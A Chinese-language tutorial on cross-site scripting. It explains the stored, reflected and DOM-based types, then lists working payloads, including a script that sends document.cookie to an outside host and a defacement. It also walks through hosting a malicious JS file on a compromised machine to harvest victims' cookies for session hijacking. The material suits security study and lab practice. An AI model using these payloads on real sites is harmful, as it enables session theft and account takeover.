简而言之,XSS就是黑客通过利用web服务器漏洞从而向我们的客户端浏览器发送恶意代码,客户端进而执行恶意代码(javascript等脚本语言),向黑客发送有关自己的信息(盗取cookie,重定向等等)
XSS漏洞类型:
存储:攻击脚本会被永久的保存在目标服务器的数据库或者文件中(黑客会在某论坛进行留言,此时论坛对应的服务器会将黑客的留言保存在服务器,但是留言的内容有XSS恶意代码攻击,当其他用户访问此留言回帖时,浏览器就会执行XSS恶意代码)
反射:黑客先将含有XSS代码的恶意链接邮件发送给目标用户,用户打开后,会访问链接对应的服务器,服务器收到链接请求时,会将带有的XSS代码的数据再次发送给用户,此时用户浏览器就会默认执行带有XSS代码的脚本,此时会触发XSS漏洞,不过在这个过程中,黑客先确认发给某个服务器,服务器会给黑客返回发送的数据
DOM型:直接在浏览器端进行恶意代码的执行,不会向服务器发请求,可以说DOM型是一种特殊的反射型
反射型XSS攻击:
发现:我们在目标站点提交数据,如果目标服务器返回的数据是源数据,或者源数据的片段,我们就可以怀疑其有反射型漏洞利用空间,类似于:
可以在burp中截断查看
发现123在返回的数据中没有进行任何过滤,这样我们就可以进行XSS利用
通过弹窗可以验证XSS漏洞可以利用
可以利用poc有:
• <script>alert(‘xss’)</script>
• <a href=\'\' onclick=alert(\'xss\')>type</a>
• <img src=http://1.1.1.1/a.jpg onerror=alert(\'xss\')>
• <script>window.location=‘http://192.168.1.1\'</script>
• <iframe SRC="http://1.1.1.1/a.jpg" height = "0" width ="0"></iframe>
• <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
对于此条,我们可以验证,先将kali的80端口进行监听,然后在主机访问IP是kali机器的80端口,利用XSS漏洞将我们浏览器的cookie信息进行传输如下:
主机:
kali:
如果在kali 机器修改cookie值就可以登录目标站点
• <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script> (修改页面)
但是在大多数时候,黑客不可能将大量的攻击代码发送至受害者浏览器,黑客可能会利用第三方服务器,让受害者去第三方服务器下载js代码,从而执行,而XSS利用的地方则是第三方服务器保存的JS代码地址,我们需要做的就是 1.将恶意js脚本放在肉机上,肉鸡的脚本内容我们可以设置窃密内容发送到我们机器,而 。 2.在受害者机器上点击js脚本下载,js脚本默认会去肉鸡下载,从而执行
下面为步骤图:
1.编写js脚本,开启apache服务,监听开启端口
在肉机上:
var/www/html/目录下创建并编写js脚本
开启apache2服务 service apache2 start
在我们机器上开启监听88端口:
2.在客户端进行XSS漏洞利用
具体内容:<script src=http://192.168.126.134:8080/a.js></script> 这里的IP地址为存放js脚本肉鸡的IP,而js里面的内容则是我们机器的IP,也意为,客户端会向js脚本内容里面的IP发送数据
3.在我们机器进行查看是否利用成功(刚刚是处于监听状态)
掌握好三方之间的关系,漏洞利用成功